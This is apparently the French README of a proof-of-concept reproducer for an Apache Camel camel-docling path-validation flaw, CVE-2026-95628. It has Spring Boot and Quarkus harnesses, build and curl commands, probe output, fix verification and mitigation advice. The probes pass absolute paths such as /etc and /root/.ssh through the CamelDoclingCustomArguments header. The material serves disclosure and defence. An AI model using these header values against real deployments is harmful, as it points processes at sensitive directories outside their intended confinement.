
Reproducteur de preuve de concept exécutable pour CVE-2026-95628, une lacune de validation de chemin absolu dans Apache Camel camel-docling, avec des harnais Spring Boot et Quarkus et une vérification du correctif.
validatePathSafety n'a pas rejeté les chemins absolus (correctif incomplet de CVE-2026-40047)Reproducteur de preuve de concept exécutable pour la vulnérabilité Apache Camel où la vérification de chemin des arguments personnalisés introduite par le correctif de CVE-2026-40047 ne recherchait que la traversée relative. Elle rejetait une valeur contenant ../ et une valeur dont la forme normalisée contenait encore un élément .. — mais elle ne vérifiait jamais si une valeur était un chemin absolu, et un chemin absolu sans segments de traversée ne contient ni l'un ni l'autre.
| Runtime | Répertoire | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Sortie sur une build affectée (identique sur les deux runtimes) :
1) A relative traversal value, which the CVE-2026-40047 fix does reject
header CamelDoclingCustomArguments = [--artifacts-path, ../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
2) Traversal hidden behind redundant separators - also rejected (normalized first)
header CamelDoclingCustomArguments = [--artifacts-path, models/./../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
3) An ABSOLUTE path, which contains no traversal sequence at all
header CamelDoclingCustomArguments = [--artifacts-path, /etc]
argv docling received: --artifacts-path /etc --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
4) The same, attached to the flag after an equals sign
header CamelDoclingCustomArguments = [--artifacts-path=/root/.ssh]
argv docling received: --artifacts-path=/root/.ssh --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
>>> PROVEN: ...
Les sondes 1 et 2 montrent que le correctif de CVE-2026-40047 fait son travail. Les sondes 3 et 4 révèlent la faille : le flag figure sur la liste d'autorisation de ce correctif (--artifacts-path indique à docling où trouver ses artefacts de modèle), et la valeur passe dans les deux formes d'argument — un élément de liste séparé suivant le flag, et attaché après un =. Une partie capable de choisir les arguments personnalisés pourrait donc pointer le processus docling vers n'importe quel répertoire accessible au processus Camel, en dehors du répertoire de travail dans lequel la vérification était censée confiner les valeurs de chemin, ce qui est exactement le résultat que le correctif précédent visait à empêcher.
Aucune installation de docling n'est nécessaire. La faille se situe dans la ligne de commande construite par Camel, donc l'option doclingCommand de l'endpoint pointe vers un substitut enregistreur du CLI qui écrit le vecteur d'arguments qui lui a été transmis dans un fichier. Le vrai DoclingProducer, le vrai validateCustomArguments() et le vrai validatePathSafety() s'exécutent ; seul l'outil externe est remplacé.
Seul le mode CLI, qui est le mode par défaut, transmet des arguments personnalisés à docling.
CamelDoclingCustomArguments appartient à l'espace de noms des en-têtes Camel, que les consommateurs appliquant le filtrage d'en-têtes par défaut de Camel — les consommateurs JMS et Kafka, par exemple — retirent des messages entrants. Le problème est donc atteint lorsqu'une route transmet des valeurs influencées de l'extérieur dans l'en-tête, ou lorsqu'un consommateur mappe les en-têtes entrants sans ce filtrage.
| Propriété | Valeur |
|---|---|
| Composant | camel-docling (DoclingProducer.validatePathSafety()) |
| CWE | CWE-22 (Limitation incorrecte d'un nom de chemin à un répertoire restreint) |
| Gravité | Moyenne |
| Vecteur d'attaque | Un chemin absolu comme valeur d'un flag de type chemin figurant sur la liste d'autorisation dans CamelDoclingCustomArguments |
| Impact | Pointer le processus docling vers n'importe quel répertoire accessible au processus Camel |
| Versions affectées | À partir de 4.15.0 avant 4.18.5, à partir de 4.19.0 avant 4.22.2 |
| Versions corrigées | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24893 |
| Crédit | Zhixi « Jace » Sun, chercheur indépendant en sécurité |
Avis : https://camel.apache.org/security/CVE-2026-95628.html
Connexe : il s'agit d'un correctif incomplet de CVE-2026-40047, et l'en-tête de chemin de sortie du même composant est CVE-2026-95629.
validatePathSafety rejette désormais aussi une valeur d'argument personnalisé de type chemin qui est un chemin absolu, faisant échouer l'échange avec une IllegalArgumentException indiquant que l'argument ne doit pas être un chemin absolu. Comme la vérification se trouve dans l'assistant partagé qui valide chaque valeur de type chemin, les deux formes d'argument sont couvertes.
Corrigé sur main dans apache/camel#26738 (fd3bc8e7), rétroporté vers camel-4.22.x dans #26743 (e9233c37) et vers camel-4.18.x dans #26744 (59d30af1).
Définissez camel.version sur 4.22.2 et exécutez-le à nouveau. Vérifié de 4.22.1 → 4.22.2 :
3) An ABSOLUTE path, which contains no traversal sequence at all
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 must not be an absolute path
4) The same, attached to the flag after an equals sign
REJECTED by Camel: IllegalArgumentException: Custom argument at index 0 must not be an absolute path
>>> NOT reproduced: the absolute path was rejected too.
Ne construisez pas CamelDoclingCustomArguments à partir de valeurs provenant de l'extérieur du déploiement ; supprimez cet
en-tête des messages arrivant de l'extérieur avant qu'ils n'atteignent un point de terminaison docling ; et assurez-vous que les consommateurs
qui mappent les en-têtes entrants suppriment l'espace de noms des en-têtes Camel, afin que seule la route choisisse les arguments personnalisés.
Ce dépôt est publié à des fins éducatives et défensives : pour aider les utilisateurs d'Apache Camel à comprendre la vulnérabilité, vérifier s'ils sont affectés, et confirmer que la mise à niveau la résout. N'utilisez pas ce matériel contre des systèmes que vous ne possédez pas ou n'exploitez pas.